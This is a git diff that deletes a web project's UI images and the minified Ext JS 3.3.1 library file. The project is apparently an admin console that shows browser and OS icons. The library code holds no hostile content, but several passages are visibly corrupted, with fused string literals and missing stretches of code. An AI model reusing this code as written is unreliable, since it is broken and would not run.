4c5e7e395..000000000 Binary files a/public/images/default/tabs/scroll-right.gif and /dev/null differ diff --git a/public/images/default/tabs/scroller-bg.gif b/public/images/default/tabs/scroller-bg.gif deleted file mode 100644 index 099b90d8a..000000000 Binary files a/public/images/default/tabs/scroller-bg.gif and /dev/null differ diff --git a/public/images/default/tabs/tab-btm-inactive-left-bg.gif b/public/images/default/tabs/tab-btm-inactive-left-bg.gif deleted file mode 100644 index 188bf940c..000000000 Binary files a/public/images/default/tabs/tab-btm-inactive-left-bg.gif and /dev/null differ diff --git a/public/images/default/tabs/tab-btm-inactive-right-bg.gif b/public/images/default/tabs/tab-btm-inactive-right-bg.gif deleted file mode 100644 index e1f5e3c51..000000000 Binary files a/public/images/default/tabs/tab-btm-inactive-right-bg.gif and /dev/null differ diff --git a/public/images/default/tabs/tab-btm-left-bg.gif b/public/images/default/tabs/tab-btm-left-bg.gif deleted file mode 100644 index dde796870..000000000 Binary files a/public/images/default/tabs/tab-btm-left-bg.gif and /dev/null differ diff --git a/public/images/default/tabs/tab-btm-over-left-bg.gif b/public/images/default/tabs/tab-btm-over-left-bg.gif deleted file mode 100644 index da49c100d..000000000 Binary files a/public/images/default/tabs/tab-btm-over-left-bg.gif and /dev/null differ diff --git a/public/images/default/tabs/tab-btm-over-right-bg.gif b/public/images/default/tabs/tab-btm-over-right-bg.gif deleted file mode 100644 index 45346ab14..000000000 Binary files a/public/images/default/tabs/tab-btm-over-right-bg.gif and /dev/null differ diff --git a/public/images/default/tabs/tab-btm-right-bg.gif b/public/images/default/tabs/tab-btm-right-bg.gif deleted file mode 100644 index e695186d5..000000000 Binary files a/public/images/default/tabs/tab-btm-right-bg.gif and /dev/null differ diff --git a/public/images/default/tabs/tab-close.gif b/public/images/default/tabs/tab-close.gif deleted file mode 100644 index e69987848..000000000 Binary files a/public/images/default/tabs/tab-close.gif and /dev/null differ diff --git a/public/images/default/tabs/tab-strip-bg.gif b/public/images/default/tabs/tab-strip-bg.gif deleted file mode 100644 index 34f133345..000000000 Binary files a/public/images/default/tabs/tab-strip-bg.gif and /dev/null differ diff --git a/public/images/default/tabs/tab-strip-bg.png b/public/images/default/tabs/tab-strip-bg.png deleted file mode 100644 index fa8ab3f46..000000000 Binary files a/public/images/default/tabs/tab-strip-bg.png and /dev/null differ diff --git a/public/images/default/tabs/tab-strip-btm-bg.gif b/public/images/default/tabs/tab-strip-btm-bg.gif deleted file mode 100644 index 5eaba1eaa..000000000 Binary files a/public/images/default/tabs/tab-strip-btm-bg.gif and /dev/null differ diff --git a/public/images/default/tabs/tabs-sprite.gif b/public/images/default/tabs/tabs-sprite.gif deleted file mode 100644 index e969fb0b7..000000000 Binary files a/public/images/default/tabs/tabs-sprite.gif and /dev/null differ diff --git a/public/images/default/toolbar/bg.gif b/public/images/default/toolbar/bg.gif deleted file mode 100644 index 0b085bf24..000000000 Binary files a/public/images/default/toolbar/bg.gif and /dev/null differ diff --git a/public/images/default/toolbar/btn-arrow-light.gif b/public/images/default/toolbar/btn-arrow-light.gif deleted file mode 100644 index b0e24b55e..000000000 Binary files a/public/images/default/toolbar/btn-arrow-light.gif and /dev/null differ diff --git a/public/images/default/toolbar/btn-arrow.gif b/public/images/default/toolbar/btn-arrow.gif deleted file mode 100644 index 8acb4608d..000000000 Binary files a/public/images/default/toolbar/btn-arrow.gif and /dev/null differ diff --git a/public/images/default/toolbar/btn-over-bg.gif b/public/images/default/toolbar/btn-over-bg.gif deleted file mode 100644 index ee2dd9860..000000000 Binary files a/public/images/default/toolbar/btn-over-bg.gif and /dev/null differ diff --git a/public/images/default/toolbar/gray-bg.gif b/public/images/default/toolbar/gray-bg.gif deleted file mode 100644 index bd49438f3..000000000 Binary files a/public/images/default/toolbar/gray-bg.gif and /dev/null differ diff --git a/public/images/default/toolbar/more.gif b/public/images/default/toolbar/more.gif deleted file mode 100644 index 02c2509fe..000000000 Binary files a/public/images/default/toolbar/more.gif and /dev/null differ diff --git a/public/images/default/toolbar/tb-bg.gif b/public/images/default/toolbar/tb-bg.gif deleted file mode 100644 index 4969e4efe..000000000 Binary files a/public/images/default/toolbar/tb-bg.gif and /dev/null differ diff --git a/public/images/default/toolbar/tb-btn-sprite.gif b/public/images/default/toolbar/tb-btn-sprite.gif deleted file mode 100644 index 19bbef3c6..000000000 Binary files a/public/images/default/toolbar/tb-btn-sprite.gif and /dev/null differ diff --git a/public/images/default/toolbar/tb-xl-btn-sprite.gif b/public/images/default/toolbar/tb-xl-btn-sprite.gif deleted file mode 100644 index 1bc0420f0..000000000 Binary files a/public/images/default/toolbar/tb-xl-btn-sprite.gif and /dev/null differ diff --git a/public/images/default/toolbar/tb-xl-sep.gif b/public/images/default/toolbar/tb-xl-sep.gif deleted file mode 100644 index 30555eecf..000000000 Binary files a/public/images/default/toolbar/tb-xl-sep.gif and /dev/null differ diff --git a/public/images/default/tree/arrows.gif b/public/images/default/tree/arrows.gif deleted file mode 100644 index 268346391..000000000 Binary files a/public/images/default/tree/arrows.gif and /dev/null differ diff --git a/public/images/default/tree/drop-add.gif b/public/images/default/tree/drop-add.gif deleted file mode 100644 index b22cd1448..000000000 Binary files a/public/images/default/tree/drop-add.gif and /dev/null differ diff --git a/public/images/default/tree/drop-between.gif b/public/images/default/tree/drop-between.gif deleted file mode 100644 index 5c6c09d98..000000000 Binary files a/public/images/default/tree/drop-between.gif and /dev/null differ diff --git a/public/images/default/tree/drop-no.gif b/public/images/default/tree/drop-no.gif deleted file mode 100644 index 9d9c6a9ce..000000000 Binary files a/public/images/default/tree/drop-no.gif and /dev/null differ diff --git a/public/images/default/tree/drop-over.gif b/public/images/default/tree/drop-over.gif deleted file mode 100644 index 30d1ca710..000000000 Binary files a/public/images/default/tree/drop-over.gif and /dev/null differ diff --git a/public/images/default/tree/drop-under.gif b/public/images/default/tree/drop-under.gif deleted file mode 100644 index 85f66b1e5..000000000 Binary files a/public/images/default/tree/drop-under.gif and /dev/null differ diff --git a/public/images/default/tree/drop-yes.gif b/public/images/default/tree/drop-yes.gif deleted file mode 100644 index 8aacb307e..000000000 Binary files a/public/images/default/tree/drop-yes.gif and /dev/null differ diff --git a/public/images/default/tree/elbow-end-minus-nl.gif b/public/images/default/tree/elbow-end-minus-nl.gif deleted file mode 100644 index 928779e92..000000000 Binary files a/public/images/default/tree/elbow-end-minus-nl.gif and /dev/null differ diff --git a/public/images/default/tree/elbow-end-minus.gif b/public/images/default/tree/elbow-end-minus.gif deleted file mode 100644 index 9a8d727d7..000000000 Binary files a/public/images/default/tree/elbow-end-minus.gif and /dev/null differ diff --git a/public/images/default/tree/elbow-end-plus-nl.gif b/public/images/default/tree/elbow-end-plus-nl.gif deleted file mode 100644 index 9f7f69880..000000000 Binary files a/public/images/default/tree/elbow-end-plus-nl.gif and /dev/null differ diff --git a/public/images/default/tree/elbow-end-plus.gif b/public/images/default/tree/elbow-end-plus.gif deleted file mode 100644 index 5943a01bc..000000000 Binary files a/public/images/default/tree/elbow-end-plus.gif and /dev/null differ diff --git a/public/images/default/tree/elbow-end.gif b/public/images/default/tree/elbow-end.gif deleted file mode 100644 index f24ddee79..000000000 Binary files a/public/images/default/tree/elbow-end.gif and /dev/null differ diff --git a/public/images/default/tree/elbow-line.gif b/public/images/default/tree/elbow-line.gif deleted file mode 100644 index 75e6da4f8..000000000 Binary files a/public/images/default/tree/elbow-line.gif and /dev/null differ diff --git a/public/images/default/tree/elbow-minus-nl.gif b/public/images/default/tree/elbow-minus-nl.gif deleted file mode 100644 index 928779e92..000000000 Binary files a/public/images/default/tree/elbow-minus-nl.gif and /dev/null differ diff --git a/public/images/default/tree/elbow-minus.gif b/public/images/default/tree/elbow-minus.gif deleted file mode 100644 index 97dcc7110..000000000 Binary files a/public/images/default/tree/elbow-minus.gif and /dev/null differ diff --git a/public/images/default/tree/elbow-plus-nl.gif b/public/images/default/tree/elbow-plus-nl.gif deleted file mode 100644 index 9f7f69880..000000000 Binary files a/public/images/default/tree/elbow-plus-nl.gif and /dev/null differ diff --git a/public/images/default/tree/elbow-plus.gif b/public/images/default/tree/elbow-plus.gif deleted file mode 100644 index 698de4793..000000000 Binary files a/public/images/default/tree/elbow-plus.gif and /dev/null differ diff --git a/public/images/default/tree/elbow.gif b/public/images/default/tree/elbow.gif deleted file mode 100644 index b8f420838..000000000 Binary files a/public/images/default/tree/elbow.gif and /dev/null differ diff --git a/public/images/default/tree/folder-open.gif b/public/images/default/tree/folder-open.gif deleted file mode 100644 index 56ba737bc..000000000 Binary files a/public/images/default/tree/folder-open.gif and /dev/null differ diff --git a/public/images/default/tree/folder.gif b/public/images/default/tree/folder.gif deleted file mode 100644 index 20412f7c1..000000000 Binary files a/public/images/default/tree/folder.gif and /dev/null differ diff --git a/public/images/default/tree/leaf.gif b/public/images/default/tree/leaf.gif deleted file mode 100644 index 445769d3f..000000000 Binary files a/public/images/default/tree/leaf.gif and /dev/null differ diff --git a/public/images/default/tree/loading.gif b/public/images/default/tree/loading.gif deleted file mode 100644 index e846e1d6c..000000000 Binary files a/public/images/default/tree/loading.gif and /dev/null differ diff --git a/public/images/default/tree/s.gif b/public/images/default/tree/s.gif deleted file mode 100644 index 1d11fa9ad..000000000 Binary files a/public/images/default/tree/s.gif and /dev/null differ diff --git a/public/images/default/window/icon-error.gif b/public/images/default/window/icon-error.gif deleted file mode 100644 index 397b655ab..000000000 Binary files a/public/images/default/window/icon-error.gif and /dev/null differ diff --git a/public/images/default/window/icon-info.gif b/public/images/default/window/icon-info.gif deleted file mode 100644 index 58281c306..000000000 Binary files a/public/images/default/window/icon-info.gif and /dev/null differ diff --git a/public/images/default/window/icon-question.gif b/public/images/default/window/icon-question.gif deleted file mode 100644 index 08abd82ae..000000000 Binary files a/public/images/default/window/icon-question.gif and /dev/null differ diff --git a/public/images/default/window/icon-warning.gif b/public/images/default/window/icon-warning.gif deleted file mode 100644 index 27ff98b4f..000000000 Binary files a/public/images/default/window/icon-warning.gif and /dev/null differ diff --git a/public/images/default/window/left-corners.png b/public/images/default/window/left-corners.png deleted file mode 100644 index 1a518335d..000000000 Binary files a/public/images/default/window/left-corners.png and /dev/null differ diff --git a/public/images/default/window/left-corners.psd b/public/images/default/window/left-corners.psd deleted file mode 100644 index 3d7f0623e..000000000 Binary files a/public/images/default/window/left-corners.psd and /dev/null differ diff --git a/public/images/default/window/left-right.png b/public/images/default/window/left-right.png deleted file mode 100644 index 7586ff333..000000000 Binary files a/public/images/default/window/left-right.png and /dev/null differ diff --git a/public/images/default/window/left-right.psd b/public/images/default/window/left-right.psd deleted file mode 100644 index 59a3960a2..000000000 Binary files a/public/images/default/window/left-right.psd and /dev/null differ diff --git a/public/images/default/window/right-corners.png b/public/images/default/window/right-corners.png deleted file mode 100644 index e69a3ffc9..000000000 Binary files a/public/images/default/window/right-corners.png and /dev/null differ diff --git a/public/images/default/window/right-corners.psd b/public/images/default/window/right-corners.psd deleted file mode 100644 index 86d509538..000000000 Binary files a/public/images/default/window/right-corners.psd and /dev/null differ diff --git a/public/images/default/window/top-bottom.png b/public/images/default/window/top-bottom.png deleted file mode 100644 index 33779e76b..000000000 Binary files a/public/images/default/window/top-bottom.png and /dev/null differ diff --git a/public/images/default/window/top-bottom.psd b/public/images/default/window/top-bottom.psd deleted file mode 100644 index 48c5395e4..000000000 Binary files a/public/images/default/window/top-bottom.psd and /dev/null differ diff --git a/public/images/favicon.ico b/public/images/favicon.ico deleted file mode 100644 index 9f3fb0e55..000000000 Binary files a/public/images/favicon.ico and /dev/null differ diff --git a/public/images/icons/beef.gif b/public/images/icons/beef.gif deleted file mode 100644 index 9a49d906a..000000000 Binary files a/public/images/icons/beef.gif and /dev/null differ diff --git a/public/images/icons/bsd.png b/public/images/icons/bsd.png deleted file mode 100644 index 6bd3d29e1..000000000 Binary files a/public/images/icons/bsd.png and /dev/null differ diff --git a/public/images/icons/bsdfreebsd.png b/public/images/icons/bsdfreebsd.png deleted file mode 100644 index 3b5986287..000000000 Binary files a/public/images/icons/bsdfreebsd.png and /dev/null differ diff --git a/public/images/icons/chrome.png b/public/images/icons/chrome.png deleted file mode 100644 index 59262913f..000000000 Binary files a/public/images/icons/chrome.png and /dev/null differ diff --git a/public/images/icons/epiphany.png b/public/images/icons/epiphany.png deleted file mode 100644 index dc87718c5..000000000 Binary files a/public/images/icons/epiphany.png and /dev/null differ diff --git a/public/images/icons/firefox.png b/public/images/icons/firefox.png deleted file mode 100644 index eb55e7e18..000000000 Binary files a/public/images/icons/firefox.png and /dev/null differ diff --git a/public/images/icons/green.png b/public/images/icons/green.png deleted file mode 100644 index ad22db370..000000000 Binary files a/public/images/icons/green.png and /dev/null differ diff --git a/public/images/icons/grey.png b/public/images/icons/grey.png deleted file mode 100644 index a3238633a..000000000 Binary files a/public/images/icons/grey.png and /dev/null differ diff --git a/public/images/icons/iphone.png b/public/images/icons/iphone.png deleted file mode 100644 index ab4a8cc31..000000000 Binary files a/public/images/icons/iphone.png and /dev/null differ diff --git a/public/images/icons/konqueror.png b/public/images/icons/konqueror.png deleted file mode 100644 index 3fb315dbf..000000000 Binary files a/public/images/icons/konqueror.png and /dev/null differ diff --git a/public/images/icons/linux.png b/public/images/icons/linux.png deleted file mode 100644 index 33dace828..000000000 Binary files a/public/images/icons/linux.png and /dev/null differ diff --git a/public/images/icons/mac.png b/public/images/icons/mac.png deleted file mode 100644 index 03f56f402..000000000 Binary files a/public/images/icons/mac.png and /dev/null differ diff --git a/public/images/icons/mozilla.png b/public/images/icons/mozilla.png deleted file mode 100644 index 6008a31ae..000000000 Binary files a/public/images/icons/mozilla.png and /dev/null differ diff --git a/public/images/icons/msie.png b/public/images/icons/msie.png deleted file mode 100644 index 6dbe4d07e..000000000 Binary files a/public/images/icons/msie.png and /dev/null differ diff --git a/public/images/icons/opera.ico b/public/images/icons/opera.ico deleted file mode 100644 index 036dc5785..000000000 Binary files a/public/images/icons/opera.ico and /dev/null differ diff --git a/public/images/icons/orange.png b/public/images/icons/orange.png deleted file mode 100644 index 61bc7b769..000000000 Binary files a/public/images/icons/orange.png and /dev/null differ diff --git a/public/images/icons/red.png b/public/images/icons/red.png deleted file mode 100644 index c0939bac7..000000000 Binary files a/public/images/icons/red.png and /dev/null differ diff --git a/public/images/icons/safari.png b/public/images/icons/safari.png deleted file mode 100644 index 683f2ea2b..000000000 Binary files a/public/images/icons/safari.png and /dev/null differ diff --git a/public/images/icons/unknown.png b/public/images/icons/unknown.png deleted file mode 100644 index 895b77138..000000000 Binary files a/public/images/icons/unknown.png and /dev/null differ diff --git a/public/images/icons/win.png b/public/images/icons/win.png deleted file mode 100644 index a3e9a9684..000000000 Binary files a/public/images/icons/win.png and /dev/null differ diff --git a/public/images/statusbar/accept.png b/public/images/statusbar/accept.png deleted file mode 100644 index 89c8129a4..000000000 Binary files a/public/images/statusbar/accept.png and /dev/null differ diff --git a/public/images/statusbar/exclamation.gif b/public/images/statusbar/exclamation.gif deleted file mode 100644 index ea31a3060..000000000 Binary files a/public/images/statusbar/exclamation.gif and /dev/null differ diff --git a/public/images/statusbar/loading.gif b/public/images/statusbar/loading.gif deleted file mode 100644 index e846e1d6c..000000000 Binary files a/public/images/statusbar/loading.gif and /dev/null differ diff --git a/public/images/statusbar/saved.png.png b/public/images/statusbar/saved.png.png deleted file mode 100644 index a9925a06a..000000000 Binary files a/public/images/statusbar/saved.png.png and /dev/null differ diff --git a/public/images/statusbar/saving.gif b/public/images/statusbar/saving.gif deleted file mode 100644 index 122b0b48f..000000000 Binary files a/public/images/statusbar/saving.gif and /dev/null differ diff --git a/public/javascript/ext-all.js b/public/javascript/ext-all.js deleted file mode 100644 index 342138fd0..000000000 --- a/public/javascript/ext-all.js +++ /dev/null @@ -1,11 +0,0 @@ -/* - * Ext JS Library 3.3.1 - * Copyright(c) 2006-2010 Sencha Inc. - * licensing@sencha.com - * http://www.sencha.com/license - */ -(function(){var h=Ext.util,k=Ext.each,g=true,i=false;h.Observable=function(){var l=this,m=l.events;if(l.listeners){l.on(l.listeners);delete l.listeners}l.events=m||{}};h.Observable.prototype={filterOptRe:/^(?:scope|delay|buffer|single)$/,fireEvent:function(){var l=Array.prototype.slice.call(arguments,0),n=l[0].toLowerCase(),o=this,m=g,r=o.events[n],t,p,s;if(o.eventsSuspended===g){if(p=o.eventQueue){p.push(l)}}else{if(typeof r=="object"){if(r.bubble){if(r.fire.apply(r,l.slice(1))===i){return i}s=o.getBubbleTarget&&o.getBubbleTarget();if(s&&s.enableBubble){t=s.events[n];if(!t||typeof t!="object"||!t.bubble){s.enableBubble(n)}return s.fireEvent.apply(s,l)}}else{l.shift();m=r.fire.apply(r,l)}}}return m},addListener:function(l,n,m,s){var p=this,r,t,q;if(typeof l=="object"){s=l;for(r in s){t=s[r];if(!p.filterOptRe.test(r)){p.addListener(r,t.fn||t,t.scope||s.scope,t.fn?t:s)}}}else{l=l.toLowerCase();q=p.events[l]||g;if(typeof q=="boolean"){p.events[l]=q=new h.Event(p,l)}q.addListener(n,m,typeof s=="object"?s:{})}},removeListener:function(l,n,m){var o=this.events[l.toLowerCase()];if(typeof o=="object"){o.removeListener(n,m)}},purgeListeners:function(){var n=this.events,l,m;for(m in n){l=n[m];if(typeof l=="object"){l.clearListeners()}}},addEvents:function(p){var n=this;n.events=n.events||{};if(typeof p=="string"){var l=arguments,m=l.length;while(m--){n.events[l[m]]=n.events[l[m]]||g}}else{Ext.applyIf(n.events,p)}},hasListener:function(l){var m=this.events[l.toLowerCase()];return typeof m=="object"&&m.listeners.length>0},suspendEvents:function(l){this.eventsSuspended=g;if(l&&!this.eventQueue){this.eventQueue=[]}},resumeEvents:function(){var l=this,m=l.eventQueue||[];l.eventsSuspended=i;delete l.eventQueue;k(m,function(n){l.fireEvent.apply(l,n)})}};var d=h.Observable.prototype;d.on=d.addListener;d.un=d.removeListener;h.Observable.releaseCapture=function(l){l.fireEvent=d.fireEvent};function e(m,n,l){return function(){if(n.target==arguments[0]){m.apply(l,Array.prototype.slice.call(arguments,0))}}}function b(p,q,m,n){m.task=new h.DelayedTask();return function(){m.task.delay(q.buffer,p,n,Array.prototype.slice.call(arguments,0))}}function c(n,o,m,l){return function(){o.removeListener(m,l);return n.apply(l,arguments)}}function a(p,q,m,n){return function(){var l=new h.DelayedTask(),o=Array.prototype.slice.call(arguments,0);if(!m.tasks){m.tasks=[]}m.tasks.push(l);l.delay(q.delay||10,function(){m.tasks.remove(l);p.apply(n,o)},n)}}h.Event=function(m,l){this.name=l;this.obj=m;this.listeners=[]};h.Event.prototype={addListener:function(p,o,n){var q=this,m;o=o||q.obj;if(!q.isListening(p,o)){m=q.createListener(p,o,n);if(q.firing){q.listeners=q.listeners.slice(0)}q.listeners.push(m)}},createListener:function(q,p,r){r=r||{};p=p||this.obj;var m={fn:q,scope:p,options:r},n=q;if(r.target){n=e(n,r,p)}if(r.delay){n=a(n,r,m,p)}if(r.single){n=c(n,this,q,p)}if(r.buffer){n=b(n,r,m,p)}m.fireFn=n;return m},findListener:function(p,o){var q=this.listeners,n=q.length,m;o=o||this.obj;while(n--){m=q[n];if(m){if(m.fn==p&&m.scope==o){return n}}}return -1},isListening:function(m,l){return this.findListener(m,l)!=-1},removeListener:function(r,q){var p,m,n,s=this,o=i;if((p=s.findListener(r,q))!=-1){if(s.firing){s.listeners=s.listeners.slice(0)}m=s.listeners[p];if(m.task){m.task.cancel();delete m.task}n=m.tasks&&m.tasks.length;if(n){while(n--){m.tasks[n].cancel()}delete m.tasks}s.listeners.splice(p,1);o=g}return o},clearListeners:function(){var o=this,m=o.listeners,n=m.length;while(n--){o.removeListener(m[n].fn,m[n].scope)}},fire:function(){var r=this,q=r.listeners,m=q.length,p=0,n;if(m>0){r.firing=g;var o=Array.prototype.slice.call(arguments,0);for(;p",i="",b=a+"",k=""+i,m=b+"",w=""+k;function h(B,D,C,E,A,y){var z=s.insertHtml(E,Ext.getDom(B),u(D));return C?Ext.get(z,true):z}function u(D){var z="",y,C,B,E;if(typeof D=="string"){z=D}else{if(Ext.isArray(D)){for(var A=0;A"}}}return z}function g(F,C,B,D){x.innerHTML=[C,B,D].join("");var y=-1,A=x,z;while(++y "'+D+'"'},insertBefore:function(y,A,z){return h(y,A,z,c)},insertAfter:function(y,A,z){return h(y,A,z,q,"nextSibling")},insertFirst:function(y,A,z){return h(y,A,z,o,"firstChild")},append:function(y,A,z){return h(y,A,z,r,"",true)},overwrite:function(y,A,z){y=Ext.getDom(y);y.innerHTML=u(A);return z?Ext.get(y.firstChild):y.firstChild},createHtml:u};return s}();Ext.Template=function(h){var k=this,c=arguments,e=[],d;if(Ext.isArray(h)){h=h.join("")}else{if(c.length>1){for(var g=0,b=c.length;g+~]\s?|\s|$)/,tagTokenRe=/^(#)?([\w-\*]+)/,nthRe=/(\d*)n\+?(\d*)/,nthRe2=/\D/,isIE=window.ActiveXObject?true:false,key=30803;eval("var batch = 30803;");function child(parent,index){var i=0,n=parent.firstChild;while(n){if(n.nodeType==1){if(++i==index){return n}}n=n.nextSibling}return null}function next(n){while((n=n.nextSibling)&&n.nodeType!=1){}return n}function prev(n){while((n=n.previousSibling)&&n.nodeType!=1){}return n}function children(parent){var n=parent.firstChild,nodeIndex=-1,nextNode;while(n){nextNode=n.nextSibling;if(n.nodeType==3&&!nonSpace.test(n.nodeValue)){parent.removeChild(n)}else{n.nodeIndex=++nodeIndex}n=nextNode}return this}function byClassName(nodeSet,cls){if(!cls){return nodeSet}var result=[],ri=-1;for(var i=0,ci;ci=nodeSet[i];i++){if((" "+ci.className+" ").indexOf(cls)!=-1){result[++ri]=ci}}return result}function attrValue(n,attr){if(!n.tagName&&typeof n.length!="undefined"){n=n[0]}if(!n){return null}if(attr=="for"){return n.htmlFor}if(attr=="class"||attr=="className"){return n.className}return n.getAttribute(attr)||n[attr]}function getNodes(ns,mode,tagName){var result=[],ri=-1,cs;if(!ns){return result}tagName=tagName||"*";if(typeof ns.getElementsByTagName!="undefined"){ns=[ns]}if(!mode){for(var i=0,ni;ni=ns[i];i++){cs=ni.getElementsByTagName(tagName);for(var j=0,ci;ci=cs[j];j++){result[++ri]=ci}}}else{if(mode=="/"||mode==">"){var utag=tagName.toUpperCase();for(var i=0,ni,cn;ni=ns[i];i++){cn=ni.childNodes;for(var j=0,cj;cj=cn[j];j++){if(cj.nodeName==utag||cj.nodeName==tagName||tagName=="*"){result[++ri]=cj}}}}else{if(mode=="+"){var utag=tagName.toUpperCase();for(var i=0,n;n=ns[i];i++){while((n=n.nextSibling)&&n.nodeType!=1){}if(n&&(n.nodeName==utag||n.nodeName==tagName||tagName=="*")){result[++ri]=n}}}else{if(mode=="~"){var utag=tagName.toUpperCase();for(var i=0,n;n=ns[i];i++){while((n=n.nextSibling)){if(n.nodeName==utag||n.nodeName==tagName||tagName=="*"){result[++ri]=n}}}}}}}return result}function concat(a,b){if(b.slice){return a.concat(b)}for(var i=0,l=b.length;i1){return nodup(results)}return results},isXml:function(el){var docEl=(el?el.ownerDocument||el:0).documentElement;return docEl?docEl.nodeName!=="HTML":false},select:document.querySelectorAll?function(path,root,type){root=root||document;if(!Ext.DomQuery.isXml(root)){try{var cs=root.querySelectorAll(path);return Ext.toArray(cs)}catch(ex){}}return Ext.DomQuery.jsSelect.call(this,path,root,type)}:function(path,root,type){return Ext.DomQuery.jsSelect.call(this,path,root,type)},selectNode:function(path,root){return Ext.DomQuery.select(path,root)[0]},selectValue:function(path,root,defaultValue){path=path.replace(trimRe,"");if(!valueCache[path]){valueCache[path]=Ext.DomQuery.compile(path,"select")}var n=valueCache[path](root),v;n=n[0]?n[0]:n;if(typeof n.normalize=="function"){n.normalize()}v=(n&&n.firstChild?n.firstChild.nodeValue:null);return((v===null||v===undefined||v==="")?defaultValue:v)},selectNumber:function(path,root,defaultValue){var v=Ext.DomQuery.selectValue(path,root,defaultValue||0);return parseFloat(v)},is:function(el,ss){if(typeof el=="string"){el=document.getElementById(el)}var isArray=Ext.isArray(el),result=Ext.DomQuery.filter(isArray?el:[el],ss);return isArray?(result.length==el.length):(result.length>0)},filter:function(els,ss,nonMatches){ss=ss.replace(trimRe,"");if(!simpleCache[ss]){simpleCache[ss]=Ext.DomQuery.compile(ss,"simple")}var result=simpleCache[ss](els);return nonMatches?quickDiff(result,els):result},matchers:[{re:/^\.([\w-]+)/,select:'n = byClassName(n, " {1} ");'},{re:/^\:([\w-]+)(?:\(((?:[^\s>\/]*|.*?))\))?/,select:'n = byPseudo(n, "{1}", "{2}");'},{re:/^(?:([\[\{])(?:@)?([\w-]+)\s?(?:(=|.=)\s?['"]?(.*?)["']?)?[\]\}])/,select:'n = byAttribute(n, "{2}", "{4}", "{3}", "{1}");'},{re:/^#([\w-]+)/,select:'n = byId(n, "{1}");'},{re:/^@([\w-]+)/,select:'return {firstChild:{nodeValue:attrValue(n, "{1}")}};'}],operators:{"=":function(a,v){return a==v},"!=":function(a,v){return a!=v},"^=":function(a,v){return a&&a.substr(0,v.length)==v},"$=":function(a,v){return a&&a.substr(a.length-v.length)==v},"*=":function(a,v){return a&&a.indexOf(v)!==-1},"%=":function(a,v){return(a%v)==0},"|=":function(a,v){return a&&(a==v||a.substr(0,v.length+1)==v+"-")},"~=":function(a,v){return a&&(" "+a+" ").indexOf(" "+v+" ")!=-1}},pseudos:{"first-child":function(c){var r=[],ri=-1,n;for(var i=0,ci;ci=n=c[i];i++){while((n=n.previousSibling)&&n.nodeType!=1){}if(!n){r[++ri]=ci}}return r},"last-child":function(c){var r=[],ri=-1,n;for(var i=0,ci;ci=n=c[i];i++){while((n=n.nextSibling)&&n.nodeType!=1){}if(!n){r[++ri]=ci}}return r},"nth-child":function(c,a){var r=[],ri=-1,m=nthRe.exec(a=="even"&&"2n"||a=="odd"&&"2n+1"||!nthRe2.test(a)&&"n+"+a||a),f=(m[1]||1)-0,l=m[2]-0;for(var i=0,n;n=c[i];i++){var pn=n.parentNode;if(batch!=pn._batch){var j=0;for(var cn=pn.firstChild;cn;cn=cn.nextSibling){if(cn.nodeType==1){cn.nodeIndex=++j}}pn._batch=batch}if(f==1){if(l==0||n.nodeIndex==l){r[++ri]=n}}else{if((n.nodeIndex+l)%f==0){r[++ri]=n}}}return r},"only-child":function(c){var r=[],ri=-1;for(var i=0,ci;ci=c[i];i++){if(!prev(ci)&&!next(ci)){r[++ri]=ci}}return r},empty:function(c){var r=[],ri=-1;for(var i=0,ci;ci=c[i];i++){var cns=ci.childNodes,j=0,cn,empty=true;while(cn=cns[j]){++j;if(cn.nodeType==1||cn.nodeType==3){empty=false;break}}if(empty){r[++ri]=ci}}return r},contains:function(c,v){var r=[],ri=-1;for(var i=0,ci;ci=c[i];i++){if((ci.textContent||ci.innerText||"").indexOf(v)!=-1){r[++ri]=ci}}return r},nodeValue:function(c,v){var r=[],ri=-1;for(var i=0,ci;ci=c[i];i++){if(ci.firstChild&&ci.firstChild.nodeValue==v){r[++ri]=ci}}return r},checked:function(c){var r=[],ri=-1;for(var i=0,ci;ci=c[i];i++){if(ci.checked==true){r[++ri]=ci}}return r},not:function(c,ss){return Ext.DomQuery.filter(c,ss,true)},any:function(c,selectors){var ss=selectors.split("|"),r=[],ri=-1,s;for(var i=0,ci;ci=c[i];i++){for(var j=0;s=ss[j];j++){if(Ext.DomQuery.is(ci,s)){r[++ri]=ci;break}}}return r},odd:function(c){return this["nth-child"](c,"odd")},even:function(c){return this["nth-child"](c,"even")},nth:function(c,a){return c[a-1]||[]},first:function(c){return c[0]||[]},last:function(c){return c[c.length-1]||[]},has:function(c,ss){var s=Ext.DomQuery.select,r=[],ri=-1;for(var i=0,ci;ci=c[i];i++){if(s(ss,ci).length>0){r[++ri]=ci}}return r},next:function(c,ss){var is=Ext.DomQuery.is,r=[],ri=-1;for(var i=0,ci;ci=c[i];i++){var n=next(ci);if(n&&is(n,ss)){r[++ri]=ci}}return r},prev:function(c,ss){var is=Ext.DomQuery.is,r=[],ri=-1;for(var i=0,ci;ci=c[i];i++){var n=prev(ci);if(n&&is(n,ss)){r[++ri]=ci}}return r}}}}();Ext.query=Ext.DomQuery.select;Ext.util.DelayedTask=function(d,c,a){var e=this,g,b=function(){clearInterval(g);g=null;d.apply(c,a||[])};e.delay=function(i,l,k,h){e.cancel();d=l||d;c=k||c;a=h||a;g=setInterval(b,i)};e.cancel=function(){if(g){clearInterval(g);g=null}}};(function(){var h=document;Ext.Element=function(m,n){var o=typeof m=="string"?h.getElementById(m):m,p;if(!o){return null}p=o.id;if(!n&&p&&Ext.elCache[p]){return Ext.elCache[p].el}this.dom=o;this.id=p||Ext.id(o)};var d=Ext.DomHelper,e=Ext.Element,a=Ext.elCache;e.prototype={set:function(r,n){var p=this.dom,m,q,n=(n!==false)&&!!p.setAttribute;for(m in r){if(r.hasOwnProperty(m)){q=r[m];if(m=="style"){d.applyStyles(p,q)}else{if(m=="cls"){p.className=q}else{if(n){p.setAttribute(m,q)}else{p[m]=q}}}}}return this},defaultUnit:"px",is:function(m){return Ext.DomQuery.is(this.dom,m)},focus:function(p,o){var m=this,o=o||m.dom;try{if(Number(p)){m.focus.defer(p,null,[null,o])}else{o.focus()}}catch(n){}return m},blur:function(){try{this.dom.blur()}catch(m){}return this},getValue:function(m){var n=this.dom.value;return m?parseInt(n,10):n},addListener:function(m,p,o,n){Ext.EventManager.on(this.dom,m,p,o||this,n);return this},removeListener:function(m,o,n){Ext.EventManager.removeListener(this.dom,m,o,n||this);return this},removeAllListeners:function(){Ext.EventManager.removeAll(this.dom);return this},purgeAllListeners:function(){Ext.EventManager.purgeElement(this,true);return this},addUnits:function(m){if(m===""||m=="auto"||m===undefined){m=m||""}else{if(!isNaN(m)||!i.test(m)){m=m+(this.defaultUnit||"px")}}return 